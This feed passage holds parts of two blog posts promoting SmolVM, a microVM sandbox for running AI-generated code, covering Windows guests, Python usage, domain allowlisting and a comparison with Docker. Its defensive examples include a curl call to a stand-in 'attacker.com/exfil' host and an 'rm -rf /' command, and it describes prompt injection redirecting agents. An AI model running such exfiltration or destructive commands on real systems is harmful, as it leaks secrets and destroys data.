&lt;pre class="highlight shell"&gt;&lt;code&gt;smolvm windows build-image &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--iso&lt;/span&gt; ./Win11.iso &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--virtio-win-iso&lt;/span&gt; ./virtio-win.iso &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--output&lt;/span&gt; ~/.smolvm/images/win11.qcow2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Does SmolVM support GUI automation on Windows?
&lt;/h3&gt;

&lt;p&gt;Windows support is V1.&lt;/p&gt;

&lt;p&gt;Today, the documented Windows support covers boot, PowerShell command execution, file upload, environment variables, and image creation.&lt;/p&gt;

&lt;p&gt;That gives the base runtime for Windows automation. GUI-level agent control is the next layer on top.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why not just use Docker?
&lt;/h3&gt;

&lt;p&gt;Docker is excellent for Linux workloads.&lt;/p&gt;

&lt;p&gt;But Docker is not a Windows desktop. It is not the right abstraction for Windows-only apps, desktop state, PowerShell-heavy workflows, Windows services, or legacy software that expects a real Windows OS.&lt;/p&gt;

&lt;p&gt;For those tasks, agents need a real Windows runtime.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Linux-only sandboxes will not automate the world.&lt;/p&gt;

&lt;p&gt;The next wave of agents will not just write code. They will use computers.&lt;/p&gt;

&lt;p&gt;Some of those computers need to run Windows.&lt;/p&gt;

&lt;p&gt;With SmolVM, developers can now boot a disposable Windows 11 VM from Python, run PowerShell, upload files, pass environment variables, and throw the machine away after the task.&lt;/p&gt;

&lt;p&gt;It is early.&lt;/p&gt;

&lt;p&gt;But the direction is clear:&lt;/p&gt;

&lt;p&gt;Agents need computers.&lt;/p&gt;

&lt;p&gt;Those computers need to be isolated, disposable, programmable, and close to the operating systems businesses actually use.&lt;/p&gt;

&lt;p&gt;That is why Windows sandboxes are now part of SmolVM.&lt;/p&gt;




&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://docs.celesto.ai/smolvm/guides/windows-guests" rel="noopener noreferrer"&gt;Windows sandboxes in SmolVM&lt;/a&gt; — Linux host + QEMU/KVM, pre-installed &lt;code&gt;.qcow2&lt;/code&gt;, OVMF, &lt;code&gt;swtpm&lt;/code&gt;, PowerShell via &lt;code&gt;vm.run&lt;/code&gt;, file upload, env vars, overlays, and current V1 limits.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-isolation/windows-sandbox/windows-sandbox-overview" rel="noopener noreferrer"&gt;Windows Sandbox overview&lt;/a&gt; — Microsoft's built-in temporary desktop feature on supported Windows editions.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/microsoft/Windows-Sandbox" rel="noopener noreferrer"&gt;Windows Sandbox community projects&lt;/a&gt; — community tools for Microsoft's Windows Sandbox, including Python utilities such as &lt;a href="https://github.com/karkason/pywinsandbox" rel="noopener noreferrer"&gt;PyWinSandbox&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>agents</category>
      <category>opensource</category>
      <category>python</category>
    </item>
    <item>
      <title>How to Safely Run AI-Generated Code with SmolVM (Open-Source MicroVM Sandbox)</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Tue, 21 Apr 2026 01:47:43 +0000</pubDate>
      <link>https://dev.to/aniketmaurya/how-to-safely-run-ai-generated-code-with-smolvm-open-source-microvm-sandbox-2coo</link>
      <guid>https://dev.to/aniketmaurya/how-to-safely-run-ai-generated-code-with-smolvm-open-source-microvm-sandbox-2coo</guid>
      <description>&lt;p&gt;Your AI agent just wrote some Python. Do you feel good about running it on your laptop?&lt;/p&gt;

&lt;p&gt;If the answer is "not really" — you're not alone. Every team building agents eventually hits the same wall: &lt;strong&gt;LLM-generated code is the new untrusted input&lt;/strong&gt;, and most of the tooling we reach for (Docker, subprocess, &lt;code&gt;exec&lt;/code&gt;) wasn't built for it.&lt;/p&gt;

&lt;p&gt;We built &lt;a href="https://github.com/CelestoAI/SmolVM" rel="noopener noreferrer"&gt;SmolVM&lt;/a&gt; to fix this. It's an open-source, Firecracker-backed microVM sandbox that gives AI agents their own disposable computer — boots in under a second, isolated at the hardware level, and disappears when the agent is done.&lt;/p&gt;

&lt;p&gt;In this post I'll walk through:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Why running AI-generated code in Docker is a bad idea&lt;/li&gt;
&lt;li&gt;What microVMs give you that containers don't&lt;/li&gt;
&lt;li&gt;A SmolVM quickstart (three lines of Python)&lt;/li&gt;
&lt;li&gt;Real use cases: coding agents, browser agents, and giving an agent access to your repo&lt;/li&gt;
&lt;li&gt;How SmolVM compares to Docker, E2B, and firecracker-containerd&lt;/li&gt;
&lt;li&gt;FAQ&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's get into it.&lt;/p&gt;




&lt;h2&gt;
  
  
  The problem: LLM-generated code is untrusted input
&lt;/h2&gt;

&lt;p&gt;Any team shipping coding agents, app builders, design-to-code tools, or workflow automation eventually needs to execute code the model wrote. That code might:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;rm -rf&lt;/code&gt; something you care about&lt;/li&gt;
&lt;li&gt;Exfiltrate secrets from your environment&lt;/li&gt;
&lt;li&gt;Make outbound calls to an attacker-controlled server&lt;/li&gt;
&lt;li&gt;Install a dependency that does any of the above&lt;/li&gt;
&lt;li&gt;Pin a CPU at 100% and melt your host&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Even if the model is well-aligned, prompt injection from tool outputs, web pages, or pasted documents can redirect it. The right mental model: &lt;strong&gt;treat every code suggestion as if it came from a random person on the internet&lt;/strong&gt;, because effectively it did.&lt;/p&gt;

&lt;p&gt;That means you need a sandbox. And this is where most teams reach for Docker — which is where the trouble starts.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Docker isn't enough for AI agent sandboxes
&lt;/h2&gt;

&lt;p&gt;Containers are great for packaging and deployment. They're not a security boundary you want to bet on for untrusted code execution.&lt;/p&gt;

&lt;p&gt;Here's the core issue: &lt;strong&gt;containers share the host kernel&lt;/strong&gt;. A process inside a container is just a normal Linux process with some namespaces and cgroups wrapped around it. If the kernel has a privilege-escalation bug (and new ones ship every year), a container escape becomes a host compromise. &lt;code&gt;runc&lt;/code&gt; CVEs are a regular occurrence. The attack surface is enormous.&lt;/p&gt;

&lt;p&gt;MicroVMs take a different approach: a real hypervisor, a real guest kernel, and a hardware virtualization boundary (Intel VT-x, AMD-V, ARM virtualization extensions) between the agent's code and your host. The attack surface shrinks dramatically.&lt;/p&gt;

&lt;p&gt;The tradeoff used to be speed — full VMs took 30+ seconds to boot, which is unusable for ephemeral agent sandboxes. &lt;a href="https://firecracker-microvm.github.io/" rel="noopener noreferrer"&gt;Firecracker&lt;/a&gt; (the microVM that powers AWS Lambda and Fargate) solved that problem. MicroVMs now boot in &lt;strong&gt;under 500ms&lt;/strong&gt;, which makes them practical for per-request isolation.&lt;/p&gt;

&lt;p&gt;SmolVM wraps Firecracker (on Linux) and QEMU (on macOS) in a clean Python API so you don't have to deal with TAP devices, rootfs images, or vsock by hand.&lt;/p&gt;




&lt;h2&gt;
  
  
  SmolVM quickstart
&lt;/h2&gt;

&lt;p&gt;Install SmolVM with a single command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sSL&lt;/span&gt; https://celesto.ai/install.sh | bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This installs everything you need (including Python), configures your machine, and verifies the setup.&lt;/p&gt;



&lt;p&gt;Manual installation&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;smolvm
smolvm setup
smolvm doctor
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Spin up a sandbox and run a command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;smolvm&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SmolVM&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;echo &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Hello from the sandbox!&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. You now have a hardware-isolated VM with its own kernel, its own filesystem, and its own network namespace — and it'll clean itself up when the &lt;code&gt;with&lt;/code&gt; block exits.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real use case #1: Execute LLM-generated code safely
&lt;/h2&gt;

&lt;p&gt;This is the pattern most coding agents need. The model produces a shell command or a Python snippet, and you need to run it without putting your machine at risk.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;smolvm&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SmolVM&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;execute_code_in_sandbox&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Tool the agent can call to run shell code safely.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stderr&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wire this up as a tool in your agent framework (LangChain, &lt;a href="https://github.com/CelestoAI/agentor" rel="noopener noreferrer"&gt;Agentor&lt;/a&gt;, whatever you use), and the agent now has a &lt;code&gt;bash&lt;/code&gt; tool that is safe to expose. Even if it runs &lt;code&gt;rm -rf /&lt;/code&gt;, the blast radius is a VM that's about to be thrown away anyway.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real use case #2: Multi-turn sessions with persistent state
&lt;/h2&gt;

&lt;p&gt;For agents that install dependencies, build projects, or iterate over multiple turns, you want the VM to stick around. SmolVM supports this with explicit lifecycle control and the ability to reconnect by ID:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;smolvm&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SmolVM&lt;/span&gt;

&lt;span class="n"&gt;vm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="c1"&gt;# Set up the environment
&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pip install requests pandas&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Later in the conversation
&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;python analysis.py&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Reconnect from a different process
&lt;/span&gt;&lt;span class="n"&gt;vm_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;span class="c1"&gt;# ... hours later ...
&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;from_id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can also inject environment variables (persisted to &lt;code&gt;/etc/profile.d/&lt;/code&gt; inside the VM) for API keys and configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set_env_vars&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;API_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sk-...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DEBUG&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;echo $API_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Real use case #3: Give the agent a browser
&lt;/h2&gt;

&lt;p&gt;Browser-using agents need a full browser session they can see and control. Running Chrome on the host is messy — it touches your cookies, your extensions, your logged-in sessions. Running it in a sandboxed VM is clean:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# Start a full browser inside the VM
&lt;/span&gt;    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;google-chrome --remote-debugging-port=9222 &amp;amp;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Expose the DevTools port to the host
&lt;/span&gt;    &lt;span class="n"&gt;host_port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;expose_local&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guest_port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;9222&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;host_port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;19222&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# Now connect Playwright/Puppeteer to http://localhost:19222
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The agent gets a real browser. Your host stays untouched.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real use case #4: Let the agent read your repo (read-only)
&lt;/h2&gt;

&lt;p&gt;For coding agents that need to understand an existing codebase, you can mount a host directory &lt;strong&gt;read-only&lt;/strong&gt; so the agent can explore without being able to modify anything:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host_mounts&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/Users/me/my-repo&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/workspace&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ro&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# Agent can read but not write
&lt;/span&gt;    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ls /workspace&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cat /workspace/README.md&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is how you get the benefits of Cursor-style codebase awareness without trusting the agent (or a prompt-injected dependency) with write access to your project.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real use case #5: Egress filtering
&lt;/h2&gt;

&lt;p&gt;A common exfiltration vector for malicious LLM output is "send data to attacker.com". SmolVM ships with domain allowlisting so the VM can only reach the hosts you explicitly permit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nc"&gt;SmolVM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;allow_hosts&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;api.openai.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pypi.org&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# These work
&lt;/span&gt;    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pip install requests&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# This silently fails — attacker.com isn't on the list
&lt;/span&gt;    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;curl https://attacker.com/exfil&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the model writes code that tries to phone home, the network stack says no.&lt;/p&gt;




&lt;h2&gt;
  
  
  SmolVM vs Docker vs other sandboxes
&lt;/h2&gt;

&lt;p&gt;Here's how SmolVM stacks up against the options most teams consider:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Docker / containers&lt;/th&gt;
&lt;th&gt;SmolVM&lt;/th&gt;
&lt;th&gt;E2B (hosted)&lt;/th&gt;
&lt;th&gt;firecracker-containerd&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Isolation boundary&lt;/td&gt;
&lt;td&gt;Shared kernel&lt;/td&gt;
&lt;td&gt;Hardware (KVM/Firecracker)&lt;/td&gt;
&lt;td&gt;Hardware (Firecracker)&lt;/td&gt;
&lt;td&gt;Hardware (Firecracker)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Boot time&lt;/td&gt;
&lt;td&gt;~100ms&lt;/td&gt;
&lt;td&gt;~500ms&lt;/td&gt;
&lt;td&gt;~150ms (hosted)&lt;/td&gt;
&lt;td&gt;~500ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Runs on your infra&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌ (their cloud)&lt;/td&gt;
&lt;td&gt;✅ (complex setup)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Python SDK&lt;/td&gt;
&lt;td&gt;via Docker SDK&lt;/td&gt;
&lt;td&gt;✅ native&lt;/td&gt;
&lt;td&gt;✅ native&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;macOS support&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅ (QEMU)&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Host directory mounts&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;Limited&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Domain allowlisting&lt;/td&gt;
&lt;td&gt;Manual&lt;/td&gt;
&lt;td&gt;✅ built-in&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;Manual&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Snapshots&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Open source&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅ (Apache 2.0)&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Price&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;td&gt;Per-sandbox&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

